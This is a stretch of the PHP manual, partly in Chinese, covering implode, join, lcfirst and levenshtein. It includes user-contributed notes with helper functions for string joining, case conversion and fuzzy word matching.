echo wrap_implode( ['<a href="">Menu Item 1</a>', '<a href="">Menu Item 2</a>',],
  "<li>", "</li>\n",
  "<li> | </li>\n",
);
/*
<li><a href="">Link1</a></li>
<li> | </li>
<li><a href="">Link2</a></li>
*/

?>
info at ensostudio dot ru 28-Aug-2020 05:32
<?php
 * Join pieces with a string recursively.
 *
 * @param mixed $glue String between pairs(glue) or an array pair's glue and key/value glue or $pieces.
 * @param iterable $pieces Pieces to implode (optional).
 * @return string Joined string
 */
function double_implode($glue, iterable $pieces = null): string
{
    $glue2 = null;
    if ($pieces === null) {
        $pieces = $glue;
        $glue = '';
    } elseif (is_array($glue)) {
        list($glue, $glue2) = $glue;
    }

    $result = [];
    foreach ($pieces as $key => $value) {
        $result[] = $glue2 === null ? $value : $key . $glue2 . $value;
    }
    return implode($glue, $result);
}
?>
Examples:
<?php
$array = ['a' => 1, 'b' => 2];
$str =  implode($array);
$str =  implode(', ', $array);
$str =  implode(['" ', '="'], $array);

$iterator = new ArrayIterator($array);
$str =  implode($iterator);
$str =  implode(', ', $iterator);
$str =  implode(['" ', '="'], $iterator);
?>
Honk der Hase 24-Apr-2020 05:43
If you want to implode an array as key-value pairs, this method comes in handy.
The third parameter is the symbol to be used between key and value.

<?php
function mapped_implode($glue, $array, $symbol = '=') {
    return implode($glue, array_map(
            function($k, $v) use($symbol) {
                return $k . $symbol . $v;
            },
            array_keys($array),
            array_values($array)
            )
        );
}

$arr = [
    'x'=> 5,
    'y'=> 7,
    'z'=> 99,
    'hello' => 'World',
    7 => 'Foo',
];

echo mapped_implode(', ', $arr, ' is ');

// output: x is 5, y is 7, z is 99, hello is World, 7 is Foo

?>
Rafael Pereira 02-Apr-2020 04:28
If you want to use a key inside array:

Example:
$arr=array(
array("id" => 1,"name" => "Test1"),
array("id" => 2,"name" => "Test2"),
);

echo implode_key(",",$arr, "name");
OUTPUT: Test1, Test2

function implode_key($glue, $arr, $key){
    $arr2=array();
    foreach($arr as $f){
        if(!isset($f[$key])) continue;
        $arr2[]=$f[$key];
    }
    return implode($glue, $arr2);
}
ASchmidt at Anamera dot net 23-Nov-2018 09:43
It's not obvious from the samples, if/how associative arrays are handled. The "implode" function acts on the array "values", disregarding any keys:

<?php
declare(strict_types=1);

$a = array( 'one','two','three' );
$b = array( '1st' => 'four', 'five', '3rd' => 'six' );

echo implode( ',', $a ),'/', implode( ',', $b );
?>

outputs:
one,two,three/four,five,six
admin at lanlink dot net dot au 15-Sep-2017 04:24
It is possible for an array to have numeric values, as well as string values. Implode will convert all numeric array elements to strings.

<?php
$test=implode(["one",2,3,"four",5.67]);
echo $test;
//outputs: "one23four5.67"
?>
Felix Rauch 30-Sep-2016 09:39
It might be worthwhile noting that the array supplied to implode() can contain objects, provided the objects implement the __toString() method.

Example:
<?php

class Foo
{
    protected $title;

    public function __construct($title)
    {
        $this->title = $title;
    }

    public function __toString()
    {
        return $this->title;
    }
}

$array = [
    new Foo('foo'),
    new Foo('bar'),
    new Foo('qux')
];

echo implode('; ', $array);
?>

will output:

foo; bar; qux
Anonymous 20-Jul-2015 11:55
null values are imploded too. You can use array_filter() to sort out null values.

<?php
$ar = array("hello", null, "world");
print(implode(',', $ar)); // hello,,world
print(implode(',', array_filter($ar, function($v){ return $v !== null; }))); // hello,world
?>
omar dot ajoue at kekanto dot com 18-Mar-2013 02:21
Can also be used for building tags or complex lists, like the following:

<?php

$elements = array('a', 'b', 'c');

echo "<ul><li>" . implode("</li><li>", $elements) . "</li></ul>";

?>

This is just an example, you can create a lot more just finding the right glue! ;)
Anonymous 26-Feb-2013 03:56
It may be worth noting that if you accidentally call implode on a string rather than an array, you do NOT get your string back, you get NULL:
<?php
var_dump(implode(':', 'xxxxx'));
?>
returns
NULL

This threw me for a little while.
masterandujar 03-Sep-2012 06:15
Even handier if you use the following:

<?php
$id_nums = array(1,6,12,18,24);

$id_nums = implode(", ", $id_nums);

$sqlquery = "Select name,email,phone from usertable where user_id IN ($id_nums)";

// $sqlquery becomes "Select name,email,phone from usertable where user_id IN (1,6,12,18,24)"
?>

Be sure to escape/sanitize/use prepared statements if you get the ids from users.
alexey dot klimko at gmail dot com 23-Jun-2011 05:04
If you want to implode an array of booleans, you will get a strange result:
<?php
var_dump(implode('',array(true, true, false, false, true)));
?>

Output:
string(3) "111"

TRUE became "1", FALSE became nothing.
houston_roadrunner at yahoo dot com 07-Apr-2009 11:50
it should be noted that an array with one or no elements works fine. for example:

<?php
    $a1 = array("1","2","3");
    $a2 = array("a");
    $a3 = array();

    echo "a1 is: '".implode("','",$a1)."'<br>";
    echo "a2 is: '".implode("','",$a2)."'<br>";
    echo "a3 is: '".implode("','",$a3)."'<br>";
?>

will produce:
===========
a1 is: '1','2','3'
a2 is: 'a'
a3 is: ''


别名 implode

  • ? implode
  • lcfirst ?
  • PHP Manual
  • 字符串 函数
  • 别名 implode

join

(PHP 4, PHP 5, PHP 7, PHP 8)

join — 别名 implode()

说明

此函数是该函数的别名： implode().

User Contributed Notes

There are no user contributed notes for this page.


使字符串的第一个字符小写

  • ? join
  • levenshtein ?
  • PHP Manual
  • 字符串 函数
  • 使字符串的第一个字符小写

lcfirst

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

lcfirst — 使字符串的第一个字符小写

说明

lcfirst(string $string): string

如果第一个字符是 "A"（0x41）到 "Z"（0x5a）范围内的 ASCII 字符，则返回第一个字母是小写的 string。

参数

string

输入的字符串。

返回值

返回转换后的字符串。

更新日志

版本 | 说明
8.2.0 | 大小写转换不在依赖于使用 setlocale() 设置的区域。只会转换 ASCII 字符。

示例

Example #1 lcfirst() 例子：

<?php
$foo = 'HelloWorld';
$foo = lcfirst($foo); // helloWorld

$bar = 'HELLO WORLD!';
$bar = lcfirst($bar); // hELLO WORLD!
$bar = lcfirst(strtoupper($bar)); // hELLO WORLD!
?>

参见

  • ucfirst() - 将字符串的首字母转换为大写
  • strtolower() - 将字符串转化为小写
  • strtoupper() - 将字符串转化为大写
  • ucwords() - 将字符串中每个单词的首字母转换为大写

User Contributed Notes

phpnet at katylavallee dot com 02-Apr-2009 08:50
Easiest work-around I've found for <5.3:
<?php

$string = "CamelCase"
$string{0} = strtolower($string{0})
echo $string; // outputs camelCase

?>
ahlers_wim at hotmail dot com 22-Nov-2008 09:48
As of PHP release 6 direct reference modification is not permitted any more.
Reference modification is the process of manipulating characters within a string by means of the instruction such as:
$str[0] in the code line: $str[0] = strtolower($str[0]);

For this reason I have recoded the lcfirst function (on function_exists('lcfirst') === false) as follows:

<?php
if ( false === function_exists('lcfirst') ):
    function lcfirst( $str )
    { return (string)(strtolower(substr($str,0,1)).substr($str,1));}
endif;
?>

Remarks:
Also notice that I have used the more modern scope delimeters (if:-endif;) and I have also removed the unnecessary intermediate result. That is, the manipulation is returned directly.
alex aulbach 06-Oct-2008 09:20
In some cases maybe more useful?

 $lower = strtolower( substr($upper,0,1) ) . substr($upper,1);
harmor 05-May-2008 03:43
A slight modification from Northie's post here ( http://us2.php.net/manual/en/function.ucfirst.php#68443), where lcfirst may not exist in your PHP build:

<?php

if(false === function_exists('lcfirst'))
{
    /**
     * Make a string's first character lowercase
     *
     * @param string $str
     * @return string the resulting string.
     */
    function lcfirst( $str ) {
        $str[0] = strtolower($str[0]);
        return (string)$str;
    }
}

/* Tests */
echo var_dump(lcFirst(NULL)).'<br />';    /* string(0) ""  */
echo var_dump(lcFirst(''))  .'<br />';    /* string(0) ""  */
echo var_dump(lcFirst('S')) .'<br />';    /* string(1) "S" */
echo var_dump(lcFirst('é')) .'<br />';    /* string(0) "?" */
echo var_dump(lcFirst('Hello World!!!')); /* string(14) "hello World!!!"  */


计算两个字符串之间的 Levenshtein 距离

  • ? lcfirst
  • localeconv ?
  • PHP Manual
  • 字符串 函数
  • 计算两个字符串之间的 Levenshtein 距离

levenshtein

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

levenshtein — 计算两个字符串之间的 Levenshtein 距离

说明

levenshtein(
string $string1,
string $string2,
int $insertion_cost = 1,
int $replacement_cost = 1,
int $deletion_cost = 1
): int

Levenshtein 距离，是指两个字串之间，通过替换、插入、删除等操作将字符串 string1 转换成 string2 所需要操作的最少字符数量。该算法的复杂度是 O(m*n)，其中 n 和 m 分别是 string1 和 string2 的长度 （当和算法复杂度为 O(max(n,m)**3) 的 similar_text() 相比时，此函数还是相当不错的，尽管仍然很耗时）。

如果 insertion_cost、replacement_cost 和/或 deletion_cost 不等于 1，则算法选择应用于最简便的算法。如果 $insertion_cost + $deletion_cost < $replacement_cost，则不会替换，而是插入和删除。

参数

string1

求编辑距离中的其中一个字符串。

string2

求编辑距离中的另一个字符串。

insertion_cost

定义插入次数。

replacement_cost

定义替换次数。

deletion_cost

定义删除次数。

返回值

此函数返回两个字符串参数之间的 Levenshtein 距离。

更新日志

版本 | 说明
8.0.0 | 在此版本之前，必须使用两个或者五个参数调用 levenshtein()。
8.0.0 | 在此版本之前，如果某个参数字符串的长度超过 255 个字符，则 levenshtein() 将会返回 -1。

示例

Example #1 levenshtein() 例子：

<?php
// 输入拼写错误的单词
$input = 'carrrot';

// 要检查的单词数组
$words = array('apple','pineapple','banana','orange',
'radish','carrot','pea','bean','potato');

// 目前没有找到最短距离
$shortest = -1;

// 遍历单词来找到最接近的
foreach ($words as $word) {

// 计算输入单词与当前单词的距离
$lev = levenshtein($input, $word);

// 检查完全的匹配
if ($lev == 0) {

// 最接近的单词是这个（完全匹配）
$closest = $word;
$shortest = 0;

// 退出循环；我们已经找到一个完全的匹配
break;
}

// 如果此次距离比上次找到的要短
// 或者还没找到接近的单词
if ($lev <= $shortest || $shortest < 0) {
// 设置最接近的匹配以及它的最短距离
$closest = $word;
$shortest = $lev;
}
}

echo "Input word: $input\n";
if ($shortest == 0) {
echo "Exact match found: $closest\n";
} else {
echo "Did you mean: $closest?\n";
}

?>

以上示例会输出：

Input word: carrrot
Did you mean: carrot?

参见

  • soundex() - Calculate the soundex key of a string
  • similar_text() - 计算两个字符串的相似度
  • metaphone() - Calculate the metaphone key of a string

User Contributed Notes

peratik at gmail dot com 16-Sep-2017 12:24
python get_close_matches equivalent:

function get_close_matches($str, $arr) {
    $closest = 1000;
    $word = false;
    foreach($arr as $w) {
        $po = levenshtein($str, $w);
        if ($po<$closest) {
            $closest = $po;
            $word = $w;
        }
    }
    return $word;
}
Johan Gennesson php at genjo dot fr 07-Sep-2016 12:49
Please, be aware that:

<?php
// Levenshtein Apostrophe (U+0027 &#39;) and Right Single Quotation Mark (U+2019 &#8217;)
echo levenshtein("'", "'");
?>

will output 3!
yhoko at yhoko dot com 25-Feb-2016 05:08
Note that this function might cause problems when working with multibyte charactes like in UTF-8. Example:

<?php
print( similar_text( 'h?', 'hà' ) ); // Returns 2 where only 1 character matches
?>
qbolec 05-Aug-2015 08:10
For the rare occassions,  where you want:
1. multibyte UTF-8 characters
2. linear memory consumption (that is O(n+m) , not O(n*m))
3. learn the string which is the longest common subsequence
4. reasonable (that is O(n*m)) time complexity
Consider this implementation:
<?php
class Strings
{
  public static function len($a){
    return mb_strlen($a,'UTF-8');
  }
  public static function substr($a,$x,$y=null){
    if($y===NULL){
      $y=self::len($a);
    }
    return mb_substr($a,$x,$y,'UTF-8');
  }
  public static function letters($a){
    $len = self::len($a);
    if($len==0){
      return array();
    }else if($len == 1){
      return array($a);
    }else{
      return Arrays::concat(
        self::letters(self::substr($a,0,$len>>1)),
        self::letters(self::substr($a,$len>>1))
      );
    }
  }
  private static function lcs_last_column(array $A,array $B){
    $al=count($A);
    $bl=count($B);
    $last_column = array();
    for($i=0;$i<=$al;++$i){
      $current_row = array();
      for($j=0;$j<=$bl;++$j){
        //$a[0,$i) vs $b[0,$j)
        if($i==0 || $j == 0){
          $v = 0;
        }else if($A[$i-1]===$B[$j-1]){
          $v = 1 + $last_row[$j-1];
        }else{
          $v = max($last_row[$j],$current_row[$j-1]);
        }
        $current_row[] = $v;
      }
      $last_column[] = $current_row[$bl];
      $last_row = $current_row;
    }
    return $last_column;
  }
  public static function lcs($a,$b){
    $A = self::letters($a);
    $B = self::letters($b);
    $bl=count($B);
    if($bl==0){
      return '';
    }else if($bl==1){
      return FALSE===array_search($B[0],$A,true)?'':$B[0];
    }
    $left=self::lcs_last_column($A,array_slice($B,0,$bl>>1));
    $right=array_reverse(self::lcs_last_column(array_reverse($A),array_reverse(array_slice($B,$bl>>1))));

    $best_i = 0;
    $best_lcs = 0;
    foreach($left as $i => $lcs_left){
      $option = $lcs_left + $right[$i];
      if($best_lcs < $option){
        $best_lcs = $option;
        $best_i = $i;
      }
    }
    return
      self::lcs(self::substr($a,0,$best_i), self::substr($b,0,$bl>>1)).
      self::lcs(self::substr($a,$best_i), self::substr($b,$bl>>1));
  }
?>
This is a classic implentation in which several tricks are used:
1. the strings are exploded into multi-byte characters in O(n lg n) time
2. instead of searching for the longest path in a precomputed two-dimensional array, we search for the best point which lays in the middle column. This is achieved by spliting the second string in half, and recursively calling the algorithm twice. The only thing we need from the recursive call are the values in the middle column. The trick is to return the last column from each recursive call, which is what we need for the left part, but requires one more trick for the right part - we simply mirror the strings and the array so that the last column is the first column. Then we just find the row which maximizes the sum of lenghts in each part.
3. one can prove that the time consumed by the algorithm is proportional to the area of the (imaginary) two-dimensional array, thus it is O(n*m).
WiLDRAGoN 15-Jul-2015 08:19
Some small changes allow you to calculate multiple words.

<?php

$input = array();
$dictionary  = array();
foreach ($input as $output) {
    $shortest = -1;
    foreach ($dictionary as $word) {
        $lev = levenshtein($output, $word);
        if ($lev == 0) {
            $closest = $word;
            $shortest = 0;
        }
        if ($lev <= $shortest || $shortest < 0) {
            $closest  = $word;
            $shortest = $lev;
        }
    }
    echo "Input word: $output\n";
    if ($shortest == 0) {
        echo "Exact match found: $closest\n";
    } else {
        echo "Did you mean: $closest?\n";
    }
}

?>
luciole75w at no dot spam dot gmail dot com 18-Nov-2013 02:25
The levenshtein function processes each byte of the input string individually. Then for multibyte encodings, such as UTF-8, it may give misleading results.

Example with a french accented word :
- levenshtein('notre', 'votre') = 1
- levenshtein('notre', 'n?tre') = 2 (huh ?!)

You can easily find a multibyte compliant PHP implementation of the levenshtein function but it will be of course much slower than the C implementation.

Another option is to convert the strings to a single-byte (lossless) encoding so that they can feed the fast core levenshtein function.

Here is the conversion function I used with a search engine storing UTF-8 strings, and a quick benchmark. I hope it will help.

<?php
// Convert an UTF-8 encoded string to a single-byte string suitable for
// functions such as levenshtein.
//
// The function simply uses (and updates) a tailored dynamic encoding
// (in/out map parameter) where non-ascii characters are remapped to
// the range [128-255] in order of appearance.
//
// Thus it supports up to 128 different multibyte code points max over
// the whole set of strings sharing this encoding.
//
function utf8_to_extended_ascii($str, &$map)
{
    // find all multibyte characters (cf. utf-8 encoding specs)
    $matches = array();
    if (!preg_match_all('/[\xC0-\xF7][\x80-\xBF]+/', $str, $matches))
        return $str; // plain ascii string

    // update the encoding map with the characters not already met
    foreach ($matches[0] as $mbc)
        if (!isset($map[$mbc]))
            $map[$mbc] = chr(128 + count($map));

    // finally remap non-ascii characters
    return strtr($str, $map);
}

// Didactic example showing the usage of the previous conversion function but,
// for better performance, in a real application with a single input string
// matched against many strings from a database, you will probably want to
// pre-encode the input only once.
//
function levenshtein_utf8($s1, $s2)
{
    $charMap = array();
    $s1 = utf8_to_extended_ascii($s1, $charMap);
    $s2 = utf8_to_extended_ascii($s2, $charMap);

    return levenshtein($s1, $s2);
}
?>

Results (for about 6000 calls)
- reference time core C function (single-byte) : 30 ms
- utf8 to ext-ascii conversion + core function : 90 ms
- full php implementation : 3000 ms
engineglue at gmail dot com 08-Jan-2012 08:05
I really like [the manual's] example for the use of the levenshtein function to match against an array. I ran into the need to specify the sensitivity of the result. There are circumstances when you want it to return false if the match is way out of line. I wouldn't want "marry had a little lamb" to match with "saw viii" simply because it was the best match in the array. Hence the need for sensitivity:

<?php
    function wordMatch($words, $input, $sensitivity){
        $shortest = -1;
        foreach ($words as $word) {
            $lev = levenshtein($input, $word);
            if ($lev == 0) {
                $closest = $word;
                $shortest = 0;
                break;
            }
            if ($lev <= $shortest || $shortest < 0) {
                $closest  = $word;
                $shortest = $lev;
            }
        }
        if($shortest <= $sensitivity){
            return $closest;
        } else {
            return 0;
        }
    }

    $word = 'PINEEEEAPPLE';

    $words  = array('apple','pineapple','banana','orange',
                    'radish','carrot','pea','bean','potato');

    echo wordMatch($words, strtolower($word), 2);
?>
Chaim Chaikin 02-Nov-2011 11:40
As regards to Example #1 above, would it not be more efficient to first use a simple php == comparison to check if the strings are equal even before testing the word with levenshtein().

Something like this:

<?php
// input misspelled word
$input = 'carrrot';

// array of words to check against
$words  = array('apple','pineapple','banana','orange',
                'radish','carrot','pea','bean','potato');

// no shortest distance found, yet
$shortest = -1;

// loop through words to find the closest
foreach ($words as $word) {

    // check for an exact match
    if ($input == $word) {

        // closest word is this one (exact match)
        $closest = $word;
        $shortest = 0;

        // break out of the loop; we've found an exact match
        break;
    }

    // calculate the distance between the input word,
    // and the current word
    $lev = levenshtein($input, $word);

    // if this distance is less than the next found shortest
    // distance, OR if a next shortest word has not yet been found
    if ($lev <= $shortest || $shortest < 0) {
        // set the closest match, and shortest distance
        $closest  = $word;
        $shortest = $lev;
    }
}

echo "Input word: $input\n";
if ($shortest == 0) {
    echo "Exact match found: $closest\n";
} else {
    echo "Did you mean: $closest?\n";
}

?>
paulrowe at iname dot com 27-Aug-2008 05:58
[EDITOR'S NOTE: original post and 2 corrections combined into 1 -- mgf]

Here is an implementation of the Levenshtein Distance calculation that only uses a one-dimensional array and doesn't have a limit to the string length. This implementation was inspired by maze generation algorithms that also use only one-dimensional arrays.

I have tested this function with two 532-character strings and it completed in 0.6-0.8 seconds.

<?php
/*
* This function starts out with several checks in an attempt to save time.
*   1.  The shorter string is always used as the "right-hand" string (as the size of the array is based on its length).
*   2.  If the left string is empty, the length of the right is returned.
*   3.  If the right string is empty, the length of the left is returned.
*   4.  If the strings are equal, a zero-distance is returned.
*   5.  If the left string is contained within the right string, the difference in length is returned.
*   6.  If the right string is contained within the left string, the difference in length is returned.
* If none of the above conditions were met, the Levenshtein algorithm is used.
*/
function LevenshteinDistance($s1, $s2)
{
  $sLeft = (strlen($s1) > strlen($s2)) ? $s1 : $s2;
  $sRight = (strlen($s1) > strlen($s2)) ? $s2 : $s1;
  $nLeftLength = strlen($sLeft);
  $nRightLength = strlen($sRight);
  if ($nLeftLength == 0)
    return $nRightLength;
  else if ($nRightLength == 0)
    return $nLeftLength;
  else if ($sLeft === $sRight)
    return 0;
  else if (($nLeftLength < $nRightLength) && (strpos($sRight, $sLeft) !== FALSE))
    return $nRightLength - $nLeftLength;
  else if (($nRightLength < $nLeftLength) && (strpos($sLeft, $sRight) !== FALSE))
    return $nLeftLength - $nRightLength;
  else {
    $nsDistance = range(1, $nRightLength + 1);
    for ($nLeftPos = 1; $nLeftPos <= $nLeftLength; ++$nLeftPos)
    {
      $cLeft = $sLeft[$nLeftPos - 1];
      $nDiagonal = $nLeftPos - 1;
      $nsDistance[0] = $nLeftPos;
      for ($nRightPos = 1; $nRightPos <= $nRightLength; ++$nRightPos)
      {
        $cRight = $sRight[$nRightPos - 1];
        $nCost = ($cRight == $cLeft) ? 0 : 1;
        $nNewDiagonal = $nsDistance[$nRightPos];
        $nsDistance[$nRightPos] =
          min($nsDistance[$nRightPos] + 1,
              $nsDistance[$nRightPos - 1] + 1,
              $nDiagonal + $nCost);
        $nDiagonal = $nNewDiagonal;
      }
    }
    return $nsDistance[$nRightLength];
  }
}
?>
luka8088 at gmail dot com 28-May-2008 01:03
Simple levenshtein function without string length limit ...

<?php

function levenshtein2($str1, $str2, $cost_ins = null, $cost_rep = null, $cost_del = null) {
    $d = array_fill(0, strlen($str1) + 1, array_fill(0, strlen($str2) + 1, 0));
    $ret = 0;

    for ($i = 1; $i < strlen($str1) + 1; $i++)
        $d[$i][0] = $i;
    for ($j = 1; $j < strlen($str2) + 1; $j++)
        $d[0][$j] = $j;

    for ($i = 1; $i < strlen($str1) + 1; $i++)
        for ($j = 1; $j < strlen($str2) + 1; $j++) {
            $c = 1;
            if ($str1{$i - 1} == $str2{$j - 1})
                $c = 0;
            $d[$i][$j] = min($d[$i - 1][$j] + 1, $d[$i][$j - 1] + 1, $d[$i - 1][$j - 1] + $c);
            $ret = $d[$i][$j];
        }

    return $ret;
}

?>
atx dot antrax at gmail dot com 17-Apr-2008 02:42
I have made a function that removes the length-limit of levenshtein function and ajust the result with similar_text:

<?php
function _similar($str1, $str2) {
    $strlen1=strlen($str1);
    $strlen2=strlen($str2);
    $max=max($strlen1, $strlen2);

    $splitSize=250;
    if($max>$splitSize)
    {
        $lev=0;
        for($cont=0;$cont<$max;$cont+=$splitSize)
        {
            if($strlen1<=$cont || $strlen2<=$cont)
            {
                $lev=$lev/($max/min($strlen1,$strlen2));
                break;
            }
            $lev+=levenshtein(substr($str1,$cont,$splitSize), substr($str2,$cont,$splitSize));
        }
    }
    else
    $lev=levenshtein($str1, $str2);

    $porcentage= -100*$lev/$max+100;
    if($porcentage>75)//Ajustar con similar_text
    similar_text($str1,$str2,$porcentage);

    return $porcentage;
}
?>
dale3h 12-Feb-2008 08:52
Using PHP's example along with Patrick's comparison percentage function, I have come up with a function that returns the closest word from an array, and assigns the percentage to a referenced variable:

<?php
  function closest_word($input, $words, &$percent = null) {
    $shortest = -1;
    foreach ($words as $word) {
      $lev = levenshtein($input, $word);

      if ($lev == 0) {
        $closest = $word;
        $shortest = 0;
        break;
      }

      if ($lev <= $shortest || $shortest < 0) {
        $closest  = $word;
        $shortest = $lev;
      }
    }

    $percent = 1 - levenshtein($input, $closest) / max(strlen($input), strlen($closest));

    return $closest;
  }
?>

Usage:
<?php
  $input = 'carrrot';
  $words = array('apple','pineapple','banana','orange',
                 'radish','carrot','pea','bean','potato');

  $percent = null;
  $found = closest_word($input, $words, $percent);

  printf('Closest word to "%s": %s (%s%% match)', $input, $found, round($percent * 100, 2));
?>

I found that lowercasing the array prior to comparing yields a better comparison when the case is not of importance, for example: comparing a user-inputted category to a list of existing categories.

I also found that when the percentage was above 75%, it was usually the match that I was looking for.
carey at NOSPAM dot internode dot net dot au 28-Oct-2006 07:06
I have found that levenshtein is actually case-sensitive (in PHP 4.4.2 at least).

<?php
$distance=levenshtein('hello','ELLO');
echo "$distance";
?>

Outputs: "5", instead of "1". If you are implementing a fuzzy search feature that makes use of levenshtein, you will probably need to find a way to work around this.
dinesh AT dinsoft DOT net 17-Mar-2006 03:18
Here is a string resynch function:

<?php
// Trouve les operations a effectuer pour modifier $b en $a en exploitant leurs similitudes (Finds the operations required to change $b to $a)
// Identique a la fonction Resynch Compare de Hex Workshop
//
// Parametres:
//      $a Premiere chaine (cible, target)
//      $b Seconde chaine (source)
//      $l Nombre d'octets devant correspondre pour etre consides comme un bloc similaire (number of matching bytes required)
//      $s Distance maximale dans laquelle les blocs similaires sont cherches (search window)
//
// Retourne:
//      Array
//              Array
//                      [0] Operation: + Add , - Del , / Replace, = Match
//                      [1] Source offset
//                      [2] Source count
//                      [3] Target offset
//                      [4] Target count
//
function str_resynch($a,$b,$l=32,$s=2048) {
        $r=array();
        for($i=0,$c=strlen($a),$cc=strlen($b),$ii=0,$z=$s-1,$z2=($z<<1)+1; $i<$c; $i++) {
                $d=$i-$z;
                $d=($d<$ii)?substr($b,$ii,$z2-$ii+$d):substr($b,$d,$z2);

                $p=strpos($d,$a{$i});
                $n=0;
                while ($p!==FALSE) {
                        $m=1;
                        $bi=$i;
                        $bp=$p;
                        $p+=$ii;
                        while ((++$i<$c) && (++$p<$cc)) {
                                if ($a{$i}!=$b{$p}) break;
                                $m++;
                        }
                        if ($m<$l) {
                                $i=$bi;
                                $n=$bp+1;
                                $p=@strpos($d,$a{$i},$n);
                        }
                        else {
                                $i--;
                                $r[]=array($bi,$bp+$ii,$m); // offset a, offset b, Count
                                $ii=$p;
                                break;
                        }
                }
        }

        if (!count($r)) return ($cc)?array('/',0,$c,0,$cc):array(array('+',0,$c,0,0));

        $o=array();
        $bi=0;
        $bp=0;
        for($i=0,$m=count($r);$i<$m;$i++) {
                if ($r[$i][0]!=$bi) {
                        if ($r[$i][1]!=$bp) {
                                // Replace
                                $o[]=array('/',$bi,$r[$i][0]-$bi,$bp,$r[$i][1]-$bp);
                                $bi=$r[$i][0];
                                $bp=$r[$i][1];
                        }
                        else {
                                // Insertion
                                $o[]=array('+',$bi,$r[$i][0]-$bi,$bp,0);
                                $bi=$r[$i][0];
                        }
                }
                elseif ($r[$i][1]!=$bp) {
                        // Delete
                        $o[]=array('-',$bi,0,$bp,$r[$i][1]-$bp);
                        $bp=$r[$i][1];
                }

                // Match
                $o[]=array('=',$r[$i][0],$r[$i][2],$r[$i][1],$r[$i][2]);
                $bi+=$r[$i][2];
                $bp+=$r[$i][2];
        }

        if ($c!=$bi) {
                if ($cc!=$bp) $o[]=array('/',$bi,$c-$bi,$bp,$cc-$bp);
                else $o[]=array('+',$bi,$c-$bi,$bp,0);
        }
        elseif ($cc!=$bp) $o[]=array('-',$bi,0,$bp,$cc-$bp);

        return $o;
}
?>
june05 at tilo-hauke dot de 06-Jun-2005 12:44
//levenshtein for arrays
function array_levenshtein($array1,$array2)
         {   $aliases= array_flip(array_values(array_unique(array_merge($array1,$array2))));
             if(count($aliases)>255) return -1;
             $stringA=''; $stringB='';
             foreach($array1 as $entry) $stringA.=chr($aliases[$entry]);
             foreach($array2 as $entry) $stringB.=chr($aliases[$entry]);
             return levenshtein($stringA,$stringB);
         }

// e.g. use array_levenshtein to detect special expressions in unser-inputs

echo array_levenshtein(split(" ", "my name is xxx"), split(" ","my name is levenshtein"));

//output: 1
justin at visunet dot ie 05-Apr-2005 07:46
<?php

    /*********************************************************************
    * The below func, btlfsa, (better than levenstien for spelling apps)
    * produces better results when comparing words like haert against
    * haart and heart.
    *
    * For example here is the output of levenshtein compared to btlfsa
    * when comparing 'haert' to 'herat, haart, heart, harte'
    *
    * btlfsa('haert','herat'); output is.. 3
    * btlfsa('haert','haart'); output is.. 3
    * btlfsa('haert','harte'); output is.. 3
    * btlfsa('haert','heart'); output is.. 2
    *
    * levenshtein('haert','herat'); output is.. 2
    * levenshtein('haert','haart'); output is.. 1
    * levenshtein('haert','harte'); output is.. 2
    * levenshtein('haert','heart'); output is.. 2
    *
    * In other words, if you used levenshtein, 'haart' would be the
    * closest match to 'haert'. Where as, btlfsa sees that it should be
    * 'heart'
    */

    function btlfsa($word1,$word2)
    {
        $score = 0;

        // For each char that is different add 2 to the score
        // as this is a BIG difference

        $remainder  = preg_replace("/[".preg_replace("/[^A-Za-z0-9\']/",' ',$word1)."]/i",'',$word2);
        $remainder .= preg_replace("/[".preg_replace("/[^A-Za-z0-9\']/",' ',$word2)."]/i",'',$word1);
        $score      = strlen($remainder)*2;

        // Take the difference in string length and add it to the score
        $w1_len  = strlen($word1);
        $w2_len  = strlen($word2);
        $score  += $w1_len > $w2_len ? $w1_len - $w2_len : $w2_len - $w1_len;

        // Calculate how many letters are in different locations
        // And add it to the score i.e.
        //
        // h e a r t
        // 1 2 3 4 5
        //
        // h a e r t     a e        = 2
        // 1 2 3 4 5   1 2 3 4 5
        //

        $w1 = $w1_len > $w2_len ? $word1 : $word2;
        $w2 = $w1_len > $w2_len ? $word2 : $word1;

        for($i=0; $i < strlen($w1); $i++)
        {
            if ( !isset($w2[$i]) || $w1[$i] != $w2[$i] )
            {
                $score++;
            }
        }

        return $score;
    }

    // *************************************************************
    // Here is a full code example showing the difference

    $misspelled = 'haert';

    // Imagine that these are sample suggestions thrown back by soundex or metaphone..
    $suggestions = array('herat', 'haart', 'heart', 'harte');

    // Firstly order an array based on levenshtein
    $levenshtein_ordered = array();
    foreach ( $suggestions as $suggestion )
    {
        $levenshtein_ordered[$suggestion] = levenshtein($misspelled,$suggestion);
    }
    asort($levenshtein_ordered, SORT_NUMERIC );

    print "<b>Suggestions as ordered by levenshtein...</b><ul><pre>";
    print_r($levenshtein_ordered);
    print "</pre></ul>";

    // Secondly order an array based on btlfsa
    $btlfsa_ordered = array();
    foreach ( $suggestions as $suggestion )
    {
        $btlfsa_ordered[$suggestion] = btlfsa($misspelled,$suggestion);
    }
    asort($btlfsa_ordered, SORT_NUMERIC );

    print "<b>Suggestions as ordered by btlfsa...</b><ul><pre>";
    print_r($btlfsa_ordered);
    print "</pre></ul>";

?>
mcreuzer at r-world dot com 07-Mar-2005 09:01
I am using the Levenshtein distance to SORT my search results.

I have a search page for peoples names. I do a SOUNDEX() search on the name in mysql. MySQL SOUNDEX() will perform the "fuzzy" search for me.

I then calculate the Levenshtein distance between the search term and the actual name found by the SOUNDEX() search. This will give me a score on how close my results are to the search string.

I can the sort my results for display listing the closest results first.

<?php
// PHP CODE INCLUDING DB LOOKUPS HERE
    usort($searchresults, "finallevenshteinsortfunction");

function finallevenshteinsortfunction($a, $b)
{
    if(($a['levenshtein'] > $b['levenshtein']) || ( $a['levenshtein'] == $b['levenshtein'] && strnatcasecmp( $a['Last_Name'], $b['Last_Name']) >= 1) ){ return $a['levenshtein'];} // Ok... The levenstein is greater OR with the same levenshtein, the last name is alphanumerically first
    elseif($a['levenshtein'] == $b['levenshtein']){ return '0';} // The levenstein matches
    elseif($a['levenshtein'] < $b['levenshtein']){ return -$a['levenshtein'];}
    else{die("<!-- a horrable death -->");}
}
?>
gzink at zinkconsulting dot com 03-Dec-2003 03:03
Try combining this with metaphone() for a truly amazing fuzzy search function. Play with it a bit, the results can be plain scary (users thinking the computer is almost telepathic) when implemented properly. I wish spell checkers worked as well as the code I've written.

I would release my complete code if reasonable, but it's not, due to copyright issues. I just hope that somebody can learn from this little tip!
